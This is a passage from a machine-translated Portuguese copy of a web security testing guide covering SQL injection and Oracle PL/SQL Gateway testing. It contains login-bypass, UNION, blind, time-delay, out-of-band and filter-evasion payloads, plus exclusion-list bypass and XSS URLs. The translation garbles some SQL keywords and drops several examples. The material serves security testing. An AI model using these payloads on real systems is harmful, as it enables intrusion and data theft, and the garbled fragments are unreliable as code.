entrada de volta para o usuário. Uma página de pesquisa é ideal, mas uma caixa de login pode não funcionar (pois pode não mostrar um nome de usuário
inválido para o usuário).
Da mesma forma que o HPP do lado do servidor, polua cada parâmetro HTTP com %26HPP_TEST e procure ocorrências decodificadas por url da carga
útil fornecida pelo usuário:
&HPP_TEST
&HPP_TEST
etc.
Em particular, preste atenção às respostas com vetores HPP nos dados . Novamente, se esse , origem , Atributos href ou ações de formulários.
comportamento padrão revela ou não uma vulnerabilidade potencial depende da validação de entrada específica, filtragem e lógica de negócios do aplicativo.
Além disso, é importante observar que essa vulnerabilidade também pode afetar os parâmetros da string de consulta usados em XMLHttpRequest (XHR),
criação de atributos de tempo de execução e outras tecnologias de plug-in (por exemplo, variáveis flashvars do Adobe Flash).
Ferramentas
Referências
Artigos técnicos
Poluição de Parâmetros HTTP - Luca Carettoni, Stefano di Paola
Exemplo de poluição de parâmetro HTTP do lado do cliente (falha do Yahoo! Classic Mail) - Stefano di Paola
Descoberta automatizada de vulnerabilidades de poluição de parâmetros em aplicativos da Web - Marco Balduzzi, Carmen
Torrano Gimenez, Davide Balzarotti, Engin Kirda
Machine Translated by Google
234
EU IRIA
WSTG-INPV-05
Resumo
O teste de injeção SQL verifica se é possível injetar dados no aplicativo para que ele execute uma consulta SQL controlada pelo usuário no
banco de dados. Os testadores encontram uma vulnerabilidade de injeção SQL se o aplicativo usar a entrada do usuário para criar consultas
SQL sem validação de entrada adequada. Uma exploração bem-sucedida dessa classe de vulnerabilidade permite que um usuário não
autorizado acesse ou manipule dados no banco de dados.
Uma injeção de SQL O ataque consiste na inserção ou “injeção” de uma consulta SQL parcial ou completa por meio da entrada de dados ou
transmitida do cliente (navegador) para o aplicativo da web. Um ataque de injeção de SQL bem-sucedido pode ler dados confidenciais do
banco de dados, modificar dados do banco de dados (inserir/atualizar/excluir), executar operações de administração no banco de dados (como
desligar o DBMS), recuperar o conteúdo de um determinado arquivo existente no arquivo DBMS sistema ou gravar arquivos no sistema de
arquivos e, em alguns casos, emitir comandos para o sistema operacional. Ataques de injeção SQL são um tipo de ataque de injeção, no qual
comandos SQL são injetados na entrada do plano de dados para afetar a execução de comandos SQL predefinidos.
Em geral, a maneira como os aplicativos da Web constroem instruções SQL envolvendo a sintaxe SQL escrita pelos programadores é
misturada com dados fornecidos pelo usuário. Exemplo:
No exemplo acima, a variável $id contém dados fornecidos pelo usuário, enquanto o restante é a parte estática SQL fornecida pelo
programador; tornando a instrução SQL dinâmica.
Devido à forma como foi construído, o usuário pode fornecer entradas criadas tentando fazer com que a instrução SQL original execute outras
ações à escolha do usuário. O exemplo abaixo ilustra os dados fornecidos pelo usuário “10 ou 1=1”, alterando a lógica da instrução SQL,
modificando a cláusula WHERE adicionando uma condição “ou 1=1”.
Os ataques SQL Injection podem ser divididos nas três classes a seguir:
Inband: os dados são extraídos usando o mesmo canal usado para injetar o código SQL. Este é o tipo de ataque mais direto, no qual os
dados recuperados são apresentados diretamente na página web do aplicativo.
Out-of-band: os dados são recuperados usando um canal diferente (por exemplo, um e-mail com o resultado da consulta é gerado e
enviado ao testador).
Inferencial ou Cego: não há transferência real de dados, mas o testador é capaz de reconstruir as informações enviando solicitações
específicas e observando o comportamento resultante do Servidor DB.
Um ataque SQL Injection bem-sucedido exige que o invasor crie uma consulta SQL sintaticamente correta. Se o aplicativo retornar uma
mensagem de erro gerada por uma consulta incorreta, pode ser mais fácil para um invasor reconstruir a lógica da consulta original e, portanto,
entender como realizar a injeção corretamente. No entanto, se o aplicativo ocultar os detalhes do erro, o testador deverá ser capaz de fazer
engenharia reversa da lógica da consulta original.
Sobre as técnicas para explorar falhas de injeção de SQL, existem cinco técnicas comuns. Além disso, essas técnicas às vezes podem ser
usadas de maneira combinada (por exemplo, operador de união e out-of-band):
Machine Translated by Google
235
Union Operator: pode ser utilizado quando a falha de injeção de SQL acontece em uma instrução SELECT, possibilitando combinar duas consultas em um
Booleano: use condição(ões) booleana(s) para verificar se certas condições são verdadeiras ou falsas.
Baseada em erro: esta técnica força o banco de dados a gerar um erro, fornecendo ao invasor ou testador informações sobre as quais refinar sua injeção.
Out-of-band: técnica usada para recuperar dados usando um canal diferente (por exemplo, fazer uma conexão HTTP para enviar os resultados para um
servidor web).
Atraso de tempo: use comandos de banco de dados (por exemplo, sleep) para atrasar respostas em consultas condicionais. É útil quando o invasor não
possui algum tipo de resposta (resultado, saída ou erro) do aplicativo.
Objetivos do teste
Identificar pontos de injeção SQL.
Avalie a gravidade da injeção e o nível de acesso que pode ser alcançado por meio dela.
Como testar
Técnicas de Detecção O primeiro
passo neste teste é entender quando o aplicativo interage com um Servidor de BD para acessar alguns dados.
Exemplos típicos de casos em que um aplicativo precisa se comunicar com um banco de dados incluem:
Formulários de autenticação: quando a autenticação é realizada usando um formulário da web, é provável que as credenciais do usuário sejam verificadas
em um banco de dados que contém todos os nomes de usuário e senhas (ou melhor, hashes de senha).
Mecanismos de busca: a string enviada pelo usuário pode ser usada em uma consulta SQL que extrai todos os registros relevantes de um banco de dados.
Sites de comércio eletrônico: os produtos e suas características (preço, descrição, disponibilidade etc.)
armazenados em um banco de dados.
O testador deve fazer uma lista de todos os campos de entrada cujos valores podem ser usados na elaboração de uma consulta SQL, incluindo os campos
ocultos das solicitações POST e testá-los separadamente, tentando interferir na consulta e gerar um erro.
Considere também cabeçalhos HTTP e cookies.
O primeiro teste geralmente consiste em adicionar uma aspa simples ' ou um ponto e vírgula ; ao campo ou parâmetro em teste.
O primeiro é usado no SQL como um terminador de string e, se não for filtrado pelo aplicativo, levaria a uma consulta incorreta. A segunda é usada para finalizar
uma instrução SQL e, se não for filtrada, também é provável que gere um erro. A saída de um campo vulnerável pode se parecer com o seguinte (em um Microsoft
Também delimitadores de comentários ( -- ou /* */ , etc) e outras palavras-chave SQL como AND e OR podem ser usadas para tentar modificar a consulta. Uma
técnica muito simples, mas às vezes ainda eficaz, é simplesmente inserir uma string onde um número é esperado, pois um erro como o seguinte pode ser gerado:
Monitore todas as respostas do servidor web e dê uma olhada no código-fonte HTML/JavaScript. Às vezes, o erro está presente dentro deles, mas por algum
motivo (por exemplo, erro de JavaScript, comentários de HTML, etc) não é apresentado ao
Machine Translated by Google
236
do utilizador. Uma mensagem de erro completa, como as dos exemplos, fornece muitas informações ao testador para montar um ataque
de injeção bem-sucedido. No entanto, os aplicativos geralmente não fornecem tantos detalhes: um simples '500 Server Error' ou uma
página de erro personalizada pode ser emitida, o que significa que precisamos usar técnicas de injeção cega. De qualquer forma, é muito
importante testar cada campo separadamente: apenas uma variável deve variar enquanto todas as outras permanecem constantes, para
entender com precisão quais parâmetros são vulneráveis e quais não são.
SELECIONE
*
FROM Usuários WHERE Nome de usuário='$nome de usuário' AND Senha='$senha'
Uma consulta semelhante geralmente é usada no aplicativo da Web para autenticar um usuário. Se a consulta retornar um valor, significa
que dentro do banco de dados existe um usuário com esse conjunto de credenciais, então o usuário pode fazer login no sistema, caso
contrário, o acesso é negado. Os valores dos campos de entrada geralmente são obtidos do usuário por meio de um formulário da web.
Suponha que inserimos os seguintes valores de nome de usuário e senha:
A consulta será:
SELECIONE
* FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1'
Se supusermos que os valores dos parâmetros são enviados ao servidor através do método GET, e se o domínio do site vulnerável é
www.example.com, a solicitação que realizaremos será:
http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&password=1'%20or%20'1'%20=%20' 1
Após uma breve análise notamos que a consulta retorna um valor (ou um conjunto de valores) porque a condição é sempre verdadeira
(OR 1=1). Desta forma, o sistema autenticou o usuário sem saber o nome de usuário e a senha.
Em alguns sistemas, a primeira linha de uma tabela de usuários seria um usuário administrador. Este pode ser o perfil retornado em
alguns casos.
SELECIONE
*
FROM Usuários ONDE ((Nome de usuário='$nome de usuário') E (Senha=MD5('$senha')))
Nesse caso, há dois problemas, um devido ao uso dos parênteses e outro devido ao uso da função hash MD5. Em primeiro lugar,
resolvemos o problema dos parênteses. Isso consiste simplesmente em adicionar uma série de parênteses de fechamento até obtermos
uma consulta corrigida. Para resolver o segundo problema, tentamos fugir da segunda condição.
Adicionamos à nossa consulta um símbolo final que significa que um comentário está começando. Desta forma, tudo o que segue tal
símbolo é considerado um comentário. Cada SGBD possui sua própria sintaxe para comentários, porém, um símbolo comum à grande
maioria dos bancos de dados é * . No Oracle o símbolo é -- . Dito isso, os valores que usaremos como Username e Password são:
$senha = foo
SELECIONE
*
FROM Usuários ONDE ((Nome de usuário='1' ou '1' = '1'))/*') E (Senha=MD5('$senha')))
Machine Translated by Google
237
(Devido à inclusão de um delimitador de comentário no valor $username, a parte da senha da consulta será ignorada.)
http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&password=foo
Isso pode retornar vários valores. Às vezes, o código de autenticação verifica se o número de registros/resultados retornados é exatamente igual a 1.
Nos exemplos anteriores, essa situação seria difícil (no banco de dados existe apenas um valor por usuário). Para contornar esse problema, basta
inserir um comando SQL que impõe a condição de que o número de resultados retornados seja um. (Um registro retornado) Para atingir este objetivo,
usamos onde <num> é o número de resultados/registros que queremos que seja retornado. Com respeito
o operador LIMIT <num> ao ,
exemplo anterior, o valor dos campos Username e Password serão modificados da seguinte forma:
$senha = foo
http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&password=foo
Instrução SELECT
*
SELECIONE DE produtos WHERE id_product=$id_product
http://www.example.com/product.php?id=10
Quando o testador tentar um valor válido (por exemplo, 10 neste caso), o aplicativo retornará a descrição de um produto. Uma boa forma de testar se
a aplicação está vulnerável nesse cenário é brincar com a lógica, usando os operadores AND e OR.
Considere o pedido:
http://www.example.com/product.php?id=10 E 1=2
*
SELECIONE DE produtos ONDE id_produto=10 E 1=2
Nesse caso, provavelmente o aplicativo retornaria alguma mensagem informando que não há conteúdo disponível ou uma página em branco. Em
seguida, o testador pode enviar uma declaração verdadeira e verificar se há um resultado válido:
Consultas empilhadas
Dependendo da API que o aplicativo da web está usando e do DBMS (por exemplo, PHP + PostgreSQL, ASP+SQL SERVER), pode ser possível
executar várias consultas em uma chamada.
*
SELECIONE DE produtos WHERE id_product=$id_product
Desta forma é possível executar várias consultas seguidas e independente da primeira consulta.
Machine Translated by Google
238
Quando os testadores mudam para uma exploração de injeção de SQL mais avançada, eles precisam saber qual é o banco de dados de back-
end.
A primeira maneira de descobrir qual banco de dados de back-end é usado é observando o erro retornado pelo aplicativo. A seguir estão alguns
exemplos de mensagens de erro:
MySql:
Um UNION SELECT completo com version() também pode ajudar a conhecer o banco de dados de back-end.
SELECT id, nome FROM users WHERE id=1 UNION SELECT 1, version() limite 1,1
Oráculo:
MSSQLServer:
SELECT id, nome FROM users WHERE id=1 UNION SELECT 1, @@version limit 1, 1
PostgreSQL:
Se não houver mensagem de erro ou uma mensagem de erro personalizada, o testador pode tentar injetar em campos de string usando várias
técnicas de concatenação:
Oráculo: 'teste'||'ing'
PostgreSQL: 'teste'||'ing'
Técnicas de Exploração
Técnica de Exploração Sindical
O operador UNION é usado em injeções SQL para unir uma consulta, propositadamente forjada pelo testador, à consulta original. O resultado
da consulta forjada será unido ao resultado da consulta original, permitindo ao testador obter os valores das colunas de outras tabelas. Suponha
para nossos exemplos que a consulta executada do servidor seja a seguinte:
Machine Translated by Google
239
SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM
CreditCardTable
Que juntará o resultado da consulta original com todos os números de cartão de crédito na tabela CreditCardTable. A palavra-chave ALL é necessária para
contornar as consultas que usam a palavra-chave DISTINCT . Além disso, notamos que além dos números dos cartões de crédito, selecionamos outros dois
valores. Esses dois valores são necessários porque as duas consultas devem ter um número igual de parâmetros/colunas para evitar um erro de sintaxe.
O primeiro detalhe que um testador precisa para explorar a vulnerabilidade de injeção SQL usando essa técnica é encontrar o número correto de colunas na
instrução SELECT.
Para conseguir isso, o testador pode usar a cláusula ORDER BY seguida de um número indicando a numeração de
coluna do banco de dados selecionada:
Se a consulta for executada com sucesso, o testador pode assumir, neste exemplo, que há 10 ou mais colunas na instrução SELECT . Se a consulta falhar,
deve haver menos de 10 colunas retornadas pela consulta. Se houver uma mensagem de erro disponível, provavelmente seria:
Após o testador descobrir o número de colunas, o próximo passo é descobrir o tipo de colunas. Assumindo que havia 3 colunas no exemplo acima, o testador
poderia tentar cada tipo de coluna, usando o valor NULL para ajudá-los:
Se a consulta for executada com sucesso, a primeira coluna poderá ser um número inteiro. Em seguida, o testador pode avançar e assim por diante:
Após a coleta de informações com sucesso, dependendo da aplicação, ela pode mostrar ao testador apenas o primeiro resultado, pois a aplicação trata
apenas a primeira linha do conjunto de resultados. Neste caso, é possível utilizar uma cláusula LIMIT ou o testador pode definir um valor inválido, tornando
válida apenas a segunda consulta (supondo que não haja entrada no banco de dados cujo ID seja 99999):
A técnica de exploração booleana é muito útil quando o testador encontra uma injeção SQL cega situação em que nada se sabe sobre o resultado de uma
operação. Por exemplo, esse comportamento ocorre nos casos em que o programador criou uma página de erro personalizada que não revela nada na
estrutura da consulta ou no banco de dados. (A página não retorna um erro de SQL, pode apenas retornar um HTTP 500, 404 ou redirecionamento).
Machine Translated by Google
240
Utilizando métodos de inferência, é possível contornar este obstáculo e assim conseguir recuperar os valores de alguns campos desejados.
Este método consiste em realizar uma série de consultas booleanas ao servidor, observando as respostas e por fim deduzindo o significado de
tais respostas. Consideramos, como sempre, o www.example.com domínio e supomos que ele contém um parâmetro chamado id vulnerável à
injeção de SQL. Isso significa que a realização da seguinte solicitação:
http://www.example.com/index.php?id=1'
Obteremos uma página com um erro de mensagem personalizada devido a um erro sintático na consulta. Suponhamos que a consulta
executada no servidor seja:
Que é explorável através dos métodos vistos anteriormente. O que queremos obter são os valores do campo username.
Os testes que realizaremos nos permitirão obter o valor do campo nome de usuário, extraindo tal valor caractere por caractere. Isso é possível
através do uso de algumas funções padrão, presentes em praticamente todos os bancos de dados. Para nossos exemplos, usaremos as
seguintes pseudofunções:
SUBSTRING (texto, início, comprimento): retorna uma substring iniciando na posição “início” do texto e de comprimento “comprimento”.
Se “início” for maior que o comprimento do texto, a função retornará um valor nulo.
ASCII (char): devolve o valor ASCII do caractere de entrada. Um valor nulo é retornado se char for 0.
Através de tais funções, executaremos nossos testes no primeiro caractere e, quando descobrirmos o valor, passaremos para o segundo e
assim sucessivamente, até descobrirmos o valor inteiro. Os testes aproveitarão a função SUBSTRING, para selecionar apenas um caractere
por vez (selecionar um único caractere significa impor o parâmetro de comprimento a 1), e a função ASCII, para obter o valor ASCII, para que
podemos fazer comparações numéricas. Os resultados da comparação serão feitos com todos os valores da tabela ASCII, até encontrar o valor
correto. Como exemplo, usaremos o seguinte valor para Id :
SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'
O exemplo anterior retorna um resultado se e somente se o primeiro caractere do campo nome de usuário for igual ao valor ASCII 97. Se
obtivermos um valor falso, aumentamos o índice da tabela ASCII de 97 para 98 e repetimos a solicitação . Se ao invés obtivermos um valor
verdadeiro, zeramos o índice da tabela ASCII e analisamos o próximo caractere, modificando os parâmetros da função SUBSTRING. O
problema é entender de que maneira podemos distinguir os testes que retornam um valor verdadeiro daqueles que retornam falso. Para fazer
isso, criamos uma consulta que sempre retorna false. Isso é possível usando o seguinte valor para Id :
SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2'
A resposta obtida do servidor (que é o código HTML) será o valor falso para nossos testes. Isso é suficiente para verificar se o valor obtido com
a execução da consulta inferencial é igual ao valor obtido com o teste executado anteriormente. Às vezes, esse método não funciona. Se o
servidor retornar duas páginas diferentes como resultado de duas solicitações da Web consecutivas idênticas, não poderemos discriminar o
valor verdadeiro do valor falso. Nestes casos particulares, é necessário usar filtros específicos que nos permitam eliminar o código que muda
entre os dois
Machine Translated by Google
241
solicitações e obter um modelo. Posteriormente, para cada requisição inferencial executada, iremos extrair o template relativo da resposta utilizando a
mesma função, e faremos um controle entre os dois templates para decidir o resultado do teste.
Na discussão anterior, não lidamos com o problema de determinar a condição de término para nossos testes, ou seja, quando devemos encerrar o
procedimento de inferência. Uma técnica para fazer isso usa uma característica da função SUBSTRING e da função LENGTH. Quando o teste compara
o caractere atual com o código ASCII 0 (ou seja, o valor null) e o teste retorna o valor true, então terminamos o procedimento de inferência (examinamos
toda a string) ou o valor que temos analisado contém o caractere nulo.
Onde N é o número de caracteres que analisamos até agora (sem contar o valor nulo). A consulta será:
SELECT field1, field2, field3 FROM Users WHERE Id='1' AND LENGTH(username)=N AND '1' = '1'
A consulta retorna verdadeiro ou falso. Se obtivermos true, concluímos a inferência e, portanto, conhecemos o valor do parâmetro. Se obtivermos false,
isso significa que o caractere nulo está presente no valor do parâmetro e devemos continuar analisando o próximo parâmetro até encontrar outro valor
nulo.
O ataque cego de injeção de SQL precisa de um alto volume de consultas. O testador pode precisar de uma ferramenta automática para explorar a
vulnerabilidade.
Uma técnica de exploração baseada em erro é útil quando o testador, por algum motivo, não pode explorar a vulnerabilidade de injeção SQL usando
outra técnica, como UNION. A técnica Error based consiste em forçar o banco de dados a realizar alguma operação na qual o resultado será um erro. O
objetivo aqui é tentar extrair alguns dados do banco de dados e mostrá-los na mensagem de erro. Esta técnica de exploração pode ser diferente de
DBMS para DBMS (consulte a seção específica de DBMS).
*
SELECIONE DE produtos WHERE id_product=$id_product
http://www.example.com/product.php?id=10
Neste exemplo, o testador está concatenando o valor 10 com o resultado da função UTL_INADDR.GET_HOST_NAME . Essa função do Oracle vai tentar
retornar o hostname do parâmetro passado para ela, que é outra consulta, o nome do usuário.
Quando o banco de dados procura um nome de host com o nome do banco de dados do usuário, ele falha e retorna uma mensagem de erro como:
Então o testador pode manipular o parâmetro passado para a função GET_HOST_NAME() e o resultado será mostrado na mensagem de erro.
Esta técnica é muito útil quando o testador encontra uma Injeção SQL Cega situação em que nada se sabe sobre o resultado de uma operação. A técnica
consiste na utilização de funções DBMS para realizar uma conexão fora de banda
Machine Translated by Google
242
e entregar os resultados da consulta injetada como parte da solicitação ao servidor do testador. Como as técnicas baseadas em erro, cada
DBMS tem suas próprias funções. Verifique a seção DBMS específica.
*
SELECIONE DE produtos WHERE id_product=$id_product
http://www.example.com/product.php?id=10
DUAL)--
Neste exemplo, o testador está concatenando o valor 10 com o resultado da função UTL_HTTP.request . Esta função do Oracle tentará se
conectar ao servidor de testes e fazer uma solicitação HTTP GET contendo o retorno da consulta SELECT user FROM DUAL . O testador pode
configurar um servidor web (por exemplo, Apache) ou usar a ferramenta Netcat:
/home/testador/nc –nLp 80
A técnica de exploração de atraso de tempo é muito útil quando o testador encontra uma injeção SQL cega situação em que nada se sabe
sobre o resultado de uma operação. Essa técnica consiste em enviar uma consulta injetada e caso a condicional seja verdadeira, o testador
pode monitorar o tempo que o servidor leva para responder. Se houver um atraso, o testador pode assumir que o resultado da consulta
condicional é verdadeiro. Esta técnica de exploração pode ser diferente de DBMS para DBMS (consulte a seção específica de DBMS).
*
SELECIONE DE produtos WHERE id_product=$id_product
http://www.example.com/product.php?id=10
Neste exemplo o testador está verificando se a versão do MySql é 5.x ou não, fazendo com que o servidor atrase a resposta em 10 segundos.
O testador pode aumentar o tempo de atraso e monitorar as respostas. O testador também não precisa esperar pela resposta. Às vezes, ele
pode definir um valor muito alto (por exemplo, 100) e cancelar a solicitação após alguns segundos.
Ao usar SQL dinâmico em um procedimento armazenado, o aplicativo deve limpar adequadamente a entrada do usuário para eliminar o risco
de injeção de código. Se não for limpo, o usuário pode inserir um SQL malicioso que será executado no procedimento armazenado.
Entrada do usuário:
Este procedimento não higieniza a entrada, permitindo assim que o valor de retorno mostre um registro existente com estes parâmetros.
Este exemplo pode parecer improvável devido ao uso de SQL dinâmico para efetuar login de um usuário, mas considere uma consulta de
relatório dinâmico em que o usuário seleciona as colunas a serem exibidas. O usuário pode inserir código malicioso neste cenário e
comprometer os dados.
Crio
procedimento get_report @columnamelist varchar(7900)
Como
Entrada do usuário:
Exploração automatizada
A maioria das situações e técnicas apresentadas aqui podem ser executadas de forma automatizada utilizando algumas ferramentas. Neste artigo
o testador pode encontrar informações sobre como realizar uma auditoria automatizada usando o SQLMap
usadas para contornar defesas como firewalls de aplicativos da Web (WAFs) ou sistemas de prevenção de intrusão (IPSs). Consulte também https://
owasp.org/www-community/attacks/SQL_Injection_Bypassing_WAF
Espaço em branco
Eliminar espaço ou adicionar espaços não afetará a instrução SQL. Por exemplo
ou 'a' = 'a'
ou 'um' = 'uma'
Machine Translated by Google
244
Adicionar caractere especial como nova linha ou tabulação que não alterará a execução da instrução SQL. Por exemplo,
ou
'um' =
'uma'
Bytes Nulos
Use o byte nulo (%00) antes de quaisquer caracteres que o filtro esteja bloqueando.
'
UNION SELECT senha FROM Usuários WHERE nome de usuário='admin'--
Comentários SQL
Adicionar comentários SQL embutidos também pode ajudar a instrução SQL a ser válida e ignorar o filtro de injeção SQL. Tome esta injeção de SQL como exemplo.
'
UNION SELECT senha FROM Usuários WHERE nome='admin'--
'/**/UNION/**/SELECT/**/password/**/FROM/**/Users/**/WHERE/**/name/**/LIKE/**/'admin'--
'/**/UNI/**/ON/**/SE/**/LECT/**/senha/**/FROM/**/Users/**/WHE/**/RE/**/ nome/**/LIKE/**/'admin'--
Codificação de URL
'
UNION SELECT senha FROM Usuários WHERE nome='admin'--
%27%20UNION%20SELECT%20password%20FROM%20Users%20WHERE%20name%3D%27admin%27--
A função Char() de
codificação de caracteres pode ser usada para substituir caracteres em inglês. Por exemplo, char(114,111,111,116) significa raiz
'
UNION SELECT senha FROM Usuários WHERE nome='root'--
'
UNION SELECT senha FROM Usuários WHERE nome=char(114,111,111,116)--
String Concatenation A
concatenação divide as palavras-chave SQL e evita os filtros. A sintaxe de concatenação varia de acordo com o mecanismo do banco de dados.
selecione 1
A instrução SQL simples pode ser alterada conforme abaixo usando concatenação
Codificação hexadecimal
A técnica de codificação hexadecimal usa a codificação hexadecimal para substituir a instrução SQL original char. Por exemplo, root pode ser
representado como 726F6F74
ou
Declarar Variáveis
; declare @SQLivar nvarchar(80); set @myvar = N'UNI' + N'ON' + N' SELECT' + N'senha');
EXEC(@SQLivar)
OU 'SQLi' = 'SQL'+'i'
OU 'SQLi' > 'S' ou 20
> 1
OU 2 entre 3 e 1
OU 'SQLi' = N'SQLi' 1 e
1=1
1 || 1 = 1 1
&& 1 = 1
Remediação
Para proteger o aplicativo contra vulnerabilidades de injeção de SQL, consulte o CheatSheet de prevenção de injeção de SQL.
Ferramentas
sqlbftools
Referências
Top 10 2017-A1-Injeção
Injeção SQL
Machine Translated by Google
246
As páginas do Guia de teste específicas da tecnologia foram criadas para os seguintes DBMSs:
Oráculo
MySQL
servidor SQL
PostgreSQLName
MS Access
NoSQL
ORM
Lado do cliente
Artigos técnicos
Victor Chapela: “Injeção SQL Avançada”
Adi Kaploun e Eliran Goshen, equipe de pesquisa e inteligência de ameaças da Check Point: “A última injeção de SQL
Tendências”
Resumo
Os aplicativos PL/SQL baseados na Web são ativados pelo Gateway PL/SQL, que é o componente que traduz solicitações da Web em
consultas de banco de dados. A Oracle desenvolveu uma série de implementações de software, variando desde o produto ouvinte da Web
inicial até o módulo mod_plsql do Apache e o servidor Web do banco de dados XML (XDB). Todos têm suas próprias peculiaridades e
problemas, cada um dos quais será investigado minuciosamente neste capítulo. Os produtos que usam o PL/SQL Gateway incluem, entre
outros, Oracle HTTP Server, eBusiness Suite, Portal, HTMLDB, WebDB e Oracle Application Server.
Como testar
Como funciona o Gateway PL/SQL
Essencialmente, o Gateway PL/SQL simplesmente atua como um servidor proxy, recebendo a solicitação da Web do usuário e a repassando
para o servidor de banco de dados onde é executado.
1. O servidor web aceita uma solicitação de um cliente web e determina se ela deve ser processada pelo PL/SQL
Porta de entrada.
2. O Gateway PL/SQL processa a solicitação extraindo o nome do pacote solicitado, o procedimento e as variáveis.
3. O pacote e o procedimento solicitados são agrupados em um bloco de PL/SQL anônimo e enviados para o banco de dados
servidor.
4. O servidor de banco de dados executa o procedimento e envia os resultados de volta ao Gateway como HTML.
Entender este ponto é importante - o código PL/SQL não existe no servidor web, mas sim no servidor de banco de dados. Isso significa que
quaisquer pontos fracos no Gateway PL/SQL ou quaisquer pontos fracos no aplicativo PL/SQL, quando explorados, fornecem ao invasor
acesso direto ao servidor de banco de dados; nenhuma quantidade de firewalls impedirá isso.
URLs para aplicativos da Web PL/SQL normalmente são facilmente reconhecíveis e geralmente começam com o seguinte (xyz pode ser
qualquer string e representa um descritor de acesso ao banco de dados, sobre o qual você aprenderá mais adiante):
http://www.example.com/pls/xyz
http://www.example.com/xyz/owa
http://www.example.com/xyz/plsql
Enquanto o segundo e o terceiro desses exemplos representam URLs de versões mais antigas do PL/SQL Gateway, o primeiro é de versões
mais recentes em execução no Apache. No arquivo de configuração do Apache plsql.conf, /pls é o padrão, especificado como um local com
o módulo PLS como manipulador. No entanto, o local não precisa ser /pls. A ausência de uma extensão de arquivo em uma URL pode indicar
a presença do Oracle PL/SQL Gateway. Considere a seguinte URL:
http://www.server.com/aaa/bbb/xxxxx.yyyyy
Se xxxxx.yyyyy foi substituído por algo parecido com ebank.home , há uma chance bastante forte , store.welcome , auth.login , ou
livros.pesquisa , de que o Gateway PL/SQL esteja sendo usado. Também é possível preceder o pacote e o procedimento solicitados com
o nome do usuário que o possui - ou seja, o esquema - neste caso, o
usuário é webuser :
http://www.server.com/pls/xyz/webuser.pkg.proc
Nessa URL, xyz é o descritor de acesso ao banco de dados, ou DAD. Um DAD especifica informações sobre o servidor de banco de dados
para que o Gateway PL/SQL possa se conectar. Ele contém informações como a string de conexão do TNS, o ID do usuário e
Machine Translated by Google
248
senha, métodos de autenticação e assim por diante. Esses DADs são especificados no arquivo de configuração do Apache dads.conf em versões mais recentes
ou no arquivo wdbsvr.app em versões mais antigas. Alguns DADs padrão incluem o seguinte:
SIMPLEDAD
HTMLDB
ORASSO
SSODAD
PORTAL
PORTAL 2
PORTAL30
PORTAL30_SSO
TESTE
PAPAI
APLICATIVO
ON-LINE
banco de dados
OWA
Ao realizar uma avaliação em um servidor, é importante primeiro saber com qual tecnologia você está realmente lidando. Se você ainda não sabe, por exemplo,
em um cenário de avaliação de caixa preta, a primeira coisa que você precisa fazer é resolver isso. Reconhecer um aplicativo PL/SQL baseado na web é muito
fácil. Primeiro, há o formato do URL e sua aparência, discutidos acima. Além disso, há um conjunto de testes simples que podem ser executados para testar a
existência do Gateway PL/SQL.
Os cabeçalhos de resposta do servidor web são um bom indicador se o servidor está executando o Gateway PL/SQL. A tabela abaixo lista alguns dos cabeçalhos
típicos de resposta do servidor:
Oracle-Application-Server-10g Oracle-Application-
Server-10g/10.1.2.0.0 Oracle-HTTP-Server Oracle-Application-Server-10g/9.0.4.1.0 Oracle-HTTP-Server
Oracle-Application-Server-10g OracleAS-Web-Cache-10g/9.0.4.2.0 (N)
O Teste NULO
SQL> COMEÇAR
NULO;
FIM; /
Podemos usar isso para testar se o servidor está executando o Gateway PL/SQL. Simplesmente pegue o DAD e acrescente NULL acrescente , então
NOSUCHPROC :
http://www.example.com/pls/dad/null
http://www.example.com/pls/dad/nosuchproc
Se o servidor responder com uma resposta 200 OK para o primeiro e um 404 Not Found para o segundo, isso indica que o servidor está executando o
Gateway PL/SQL.
Em versões mais antigas do PL/SQL Gateway, é possível acessar diretamente os pacotes que formam o PL/SQL Web Toolkit, como os pacotes OWA e
HTP. Um desses pacotes é o pacote OWA_UTIL , sobre o qual falaremos mais adiante. Este pacote contém um procedimento chamado SIGNATURE e
simplesmente gera em HTML uma assinatura PL/SQL. assim solicitando
http://www.example.com/pls/dad/owa_util.signature
ou
Se você não obtiver essa resposta, mas uma resposta 403 Forbidden, poderá inferir que o PL/SQL Gateway está em execução.
Esta é a resposta que você deve obter em versões posteriores ou sistemas corrigidos.
É possível explorar vulnerabilidades nos pacotes PL/SQL instalados por padrão no servidor de banco de dados. Como você faz isso depende da versão
do PL/SQL Gateway. Nas versões anteriores do Gateway PL/SQL, não havia nada que impedisse um invasor de acessar um pacote PL/SQL arbitrário no
servidor de banco de dados. Mencionamos o pacote OWA_UTIL anteriormente. Isso pode ser usado para executar consultas SQL arbitrárias:
http://www.example.com/pls/dad/OWA_UTIL.CELLSPRINT? P_THEQUERY=SELECT+USERNAME+FROM+ALL_USERS
Os ataques Cross Site Scripting podem ser iniciados por meio do pacote HTP:
http://www.example.com/pls/dad/HTP.PRINT?CBUF=<script>alert('XSS')</script>
Claramente, isso é perigoso, então a Oracle introduziu uma lista de exclusão PLSQL para impedir o acesso direto a tais procedimentos perigosos. Itens
proibidos incluem qualquer solicitação começando com SYS.* , qualquer solicitação começando
No entanto,
com é possível
DBMS_* ignorar
, qualquer
a lista
solicitação
de exclusão.
lista
comdeHTP.*
Além
exclusão
disso,
ou OWA*
não
a .
impede o acesso a pacotes nos esquemas CTXSYS e MDSYS ou outros, portanto é possível explorar falhas nesses pacotes:
http://www.example.com/pls/dad/CXTSYS.DRILOAD.VALIDATE_STMT?SQLSTMT=SELECT+1+FROM+DUAL
Isso retornará uma página HTML em branco com uma resposta 200 OK se o servidor de banco de dados ainda estiver vulnerável a essa falha (CVE
2006-0265)
gateway PL/SQL Oracle sofreu várias falhas, incluindo acesso a páginas administrativas (CVE-2002-0561), estouros de buffer (CVE-2002-0559), diretório
bugs transversais e vulnerabilidades que permitem que invasores ignorem a lista de exclusão e acessem e executem pacotes PL/SQL arbitrários no
servidor de banco de dados.
É incrível quantas vezes a Oracle tentou corrigir falhas que permitem aos invasores contornar a lista de exclusão. Cada patch que a Oracle
produziu foi vítima de uma nova técnica de bypass. A história desta triste história
